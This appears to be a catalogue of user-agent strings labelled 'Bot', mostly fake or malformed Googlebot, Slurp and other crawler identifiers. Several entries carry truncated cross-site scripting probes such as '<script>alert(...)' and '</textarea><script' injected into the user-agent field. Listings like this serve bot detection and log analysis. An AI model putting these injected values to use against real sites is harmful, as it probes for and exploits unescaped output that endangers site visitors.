
Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Googlebot/2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Googlebot/2.X

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Googlebot/2.X (+http://www.googlebot.com/bo...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 googlebot2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/2.0 MEGAUPLOAD 1.0 GoogleBot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Mozilla/5.0 (compatible; Googlebot/2.1; +ht...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Googlebot 2.1 Ubiquity/0.1.5

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 AppEngine-Google; (+http://co...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Googlebot/2.1 (+http://www.googlebot.com/bo...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Googlebot/2.1+(+http://www.google.com/bot.h...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Googlebot/2.1+(+http://www.go...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Googlebot 2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.1) Gecko/20090715 Googlebot/2.X (http://www.googlebot.com/bot.h...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729; Diffbot/0....

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 <script>alert('XS...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Googlebot/2.1 (+http://www.googlebot.com/bot....

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Googlebot/2.1+(+http://www.google.com/bot.htm...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 +http://www.google.com/bot.html

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (foo bar<script>a...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (foo bar<script>a...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 AppEngine-Google; (+http://code...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Googlebot/2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Googlebot/2.X (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.4) Gecko/20091016 Code: Select all Googlebot/2.X (http://www.go...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 </textarea><script&g...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 </textarea><script&g...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 </textarea><script&g...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 <script>alert('Firefox/3.5.5');...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 Googlebot 2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 Googlebot/2.1" "Compatible&...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 Googlebot2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Googlebot 2.1 GTB6

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Googlebot/2.1 (+http://www.googlebot.com/bot....

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9) Gecko/20100315 Googlebot/2.1 (+http://www.googlebot.com/bot....

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9) Gecko/20100315 Googlebot/2.X

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9) Gecko/20100315 Googlebot/2.x ( .NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1a1pre) Gecko/2008061107 <script>alert(0)</s...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b1) Gecko/20081007 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Code: Select all Googlebot/2.X ( Code: http://...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Googlebot/2.1 (+http://www.google.com/bot.html)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Googlebot/2.1 (+http://www.googlebot.com/bot.ht...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Googlebot/2.1+(+http://www.google.com/bot.html)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.11) Gecko/20101012 Googlebot/2.X How Google crawls my site ( .N...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729) slurp

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 slurp

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Mozilla/5.0 (compatible; Googlebot/2.1; +http...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Code: Select all Googlebot/2.X (http://www.go...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Googlebot 2.1 ( .NET CLR 3.5.30729; .NET4.0C)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b1) Gecko/2007110904 Mozilla/5.0 (compatible; Googlebot/2.1; +http...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.13) Gecko/2009073022 Firefox/3.5.2 (.NET CLR 3.5.30729) SurveyBot/...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ar; rv:1.9.0.3) Gecko/2008092417 googlebot

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Googlebot/2.1 (+http://www....

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.2) Gecko/20100115 Googlebot/2.X (.NET CLR 3.5.30729),gzip(gfe) (v...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.1) Gecko/20060111 googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1) VoilaBot BETA 1.2 (http://www.voila.com/)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1) VoilaBot BETA 1.2 (support.voilabot@orange-ftgroup.com)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.13) Gecko/2009073022 diffbot/0.3.7 (http://www.diffbot.com) Firefo...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.8) Gecko/2009032609 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.8) Gecko/2009032609 Googlebot/2.1 (+http://www.google.com/bot.html...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 compatible; Googlebot/2.1; +http://www.google.co...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.7) Gecko/20091221 “Googlebot/2.1+(+http://www.google.com/bot.htm...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.9) Gecko/20100315 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; googlebot; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 ( .NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; googlebot; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.1.7) Gecko/20091221 Googlelbot/2.1 GTB6

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.1.7) Gecko/20091221 Googlelbot/2.1 http://Googlelbot.com

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 <a href="http://...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.10) Gecko/2009042316 http://www.yahoobot.com/bot.html

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 AppEngine-Google; (+http://code...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.0.8) Gecko/2009032609 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1.3) Gecko/20090824 Select all Googlebot/2.X How Google crawls my si...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.12) Gecko/20070508 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.14) Gecko/20080404 Googlebot/2.1 (+http://www.googlebot.com/bot.ht...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.16) Gecko/20080702 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.17) Gecko/20080829 Googlebot/2.1 (+http://www.googlebot.com/bot.h...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.17) Gecko/20080829 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.10) Gecko/2009042316 Firefox 3 (.NET CLR 3.5.30729) Googlebot/2.1;...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.10) Gecko/2009042316 Mozilla/5.0 (compatible; Googlebot/2.1; +http...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.2) Gecko/2008091620 Googlebot

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.5) Gecko/2008120122 Googlebot 2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.5) Gecko/2008120122 Googlebot/2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.2.13) Gecko/20101203 Googlebot 1.2

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.1) Gecko/2008070208 Googlebot Firefox/3.0.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1 ( http://www.googlebot.com/bo...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1 (+http://www.google.com/bot.h...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1 (+http://www.google.com/bot.h...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.13

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.0.5) Gecko/2008120122 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.1.3) Gecko/20090824 Tubenowbot/1.0

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; ro; rv:1.9.2.13) Gecko/20101203 "Googlebot/2.1 (+http://www.googlebot....

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 GTB5<script>iffh...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) <a...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 googlebot

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.3) Gecko/20100401 Mozilla/5.0 (compatible; Googlebot/2.1; +http://...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.9) Gecko/2008052906 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.go...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Yandex

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; th; rv:1.9.0.10) Gecko/2009042316 Googlebot2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 AppEngine-Google; (+http://code...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.1;fr;rv:1.8.1)VoilaBotCollector BETA 0.1 (http://www.voila.com/)

Bot Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.9.1.2) Gecko/20090729 Opera <script>alert('!');</...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.6) Gecko/20070725 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.4) Gecko/2008102920 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.2a1pre) Gecko/20090422 Googlebot/2.1 (+http://www.googlebot.com/b...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.2; es-ES; rv:1.8.1.14) Gecko/20080404 Googlebot/2.1 (+http://www.googlebot.com/bot...

Bot Mozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.9.2.8) Gecko/20100722 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; da; rv:1.9.0.5) Gecko/2008120122 googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.13) Gecko/20080311 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.18) Gecko/20081029 Googlebot

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.18) Gecko/20081029 Googlebot/2.8

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.13) Gecko/2009073022 Googlebot 2.2 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.1) Gecko/20090715 Googlebot/2.1+(+http://www.googlebot.com/bot.htm...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.1) Gecko/20090715 Googlebot/2.X How Google crawls my site (.NET CL...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2) Gecko/20100115 Googlebot/2.1 (+http://www.google.com/bot.html) (....

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.3) Gecko/20100401 Googlebot/2.1 (+http://www.googlebot.com/bot.htm...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.1) Gecko/2008070208 googlebot 2.X

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.3) Gecko/2008092417 Googlebot/2.1 (+http://www.google.com/bot.h...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.4) Gecko/2008102920 Googlebot 2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 ...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.11) Gecko/20071127 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080404 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080404 googlebot=Google.com

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.17) Gecko/20080829 Googlebot/2.X (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9) Gecko/2008052906 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1;MEGAUPLOAD 1.0;Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1+(+http://www.google.com/bot.h...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.10) Gecko/2009042316 Googlebot/2.1+(+http://www.google.com/bot....

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.11) Gecko/2009060215 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.13) Gecko/2009073022 Googlebot 2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.14) Gecko/2009082707 Googlebot 2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.2) Gecko/2008091620 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.4) Gecko/2008102920 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.4) Gecko/2008102920 http://ow.ly web crawler (.NET CLR 3.5.3072...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2008120122 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2008120122 Googlebot/2.1+(+http://www.google.com/bot.h...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Googlebot 2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 ATGBot (.NET CLR 3.5.30729) F...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Googlebot/2.X (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1) Gecko/20090624 Googlebot/2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.1) Gecko/20090715 Googlebot/2.1+

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.1) Gecko/20090715 Googlebot/2.X (http://www.googlebot.com/bot.h...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2; Googlebot

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.3) Gecko/20090824 Googlebot 2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.3; aggregator:Vocus (VocusBot 0.4); http://www.vocus.com/vnhs.h...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.5) Gecko/20091102 Googlebot 2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.7) Gecko/20091221 Googlebot 2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.13) Gecko/20101203 Ant.com Toolbar 2.0.1 Firefox/3.6.13 ( .NET ...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 slurp

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.3) Gecko/20100401 Googlebot/2.1 (+http://www.google.com/bot.htm...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100611 Googlebot 2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.6) Gecko/20100625 Googlebot 2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.8) Gecko/20100722 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 AppEngine-Google; (+http://code...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; es-AR; rv:1.9.2.3) Gecko/20100401 Googlebot/2.X (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.X

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.4) Gecko/2008102920 Googlebot/2.X (http://www.googlebot.com/bot.ht...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; gb; rv:1.9.1.2) Gecko/20090729 Mozilla/5.0 (compatible; Googlebot/2.1; +http://...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.15) Gecko/2009101601 Googlebot 2.1 (.NET CLR 3.0.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.2) Gecko/20090729 GoogleBot 2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Googlebot/2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1b3) Gecko/20090305 Googlebot/2.1 (+http://www.google.com/bot.html)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.5) Gecko/20091102 Googlebot/2.1 (+http://www.googlebot.com/bot.htm...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.5) Gecko/20091102 Googlebot/2.1+(+http://www.google.com/bot.html

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2) Gecko/20100115 Googlebot/2.1 (+http://www.google.com/bot.html)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2) Gecko/20100115 Googlebot/2.1 (+http://www.google.com/bot.html),gz...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 googlebot

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Googlebot/2.1 (+http://www.google.com/bot.html)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.13) Gecko/20101203 BTRS35926 Googlebot/2.1 (+http://www.google.com...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.3) Gecko/20100401 Googlebot/2.1 (+http://www.google.com/bot.html)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.3) Gecko/20100401 Googlebot/2.1 (+http://www.googlebot.com/bot.htm...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.4) Gecko/20091016 Googlebot/2.X

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) Ameblo Spider/1.0 (http://ameblo.jp/noripee-jp/)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 A...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 ...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090624 Googlebot/2.1 (+http://www.googlebot.com/bot.ht...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Googlebot 2.1 (.NET CLR 3.5.30729)

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7; Googlebot

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 AppEngine-Google; (+http://code...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.9) Gecko/20100315 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.10) Gecko/20100914 Select all Googlebot/2.X How Google crawls m...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.11) Gecko/20101012 Googlebot 2.1 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.11) Gecko/20101012 Googlebot/2.X

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 GTB7.1 slurp

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 AlexaToolbar/alxf-1.54 Firefox/3.6.13 (.NET ...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 (.NET CLR 3.5.30729) slurp

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 slurp

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 slurp slurp

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 googlebot

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Googlebot 2.1

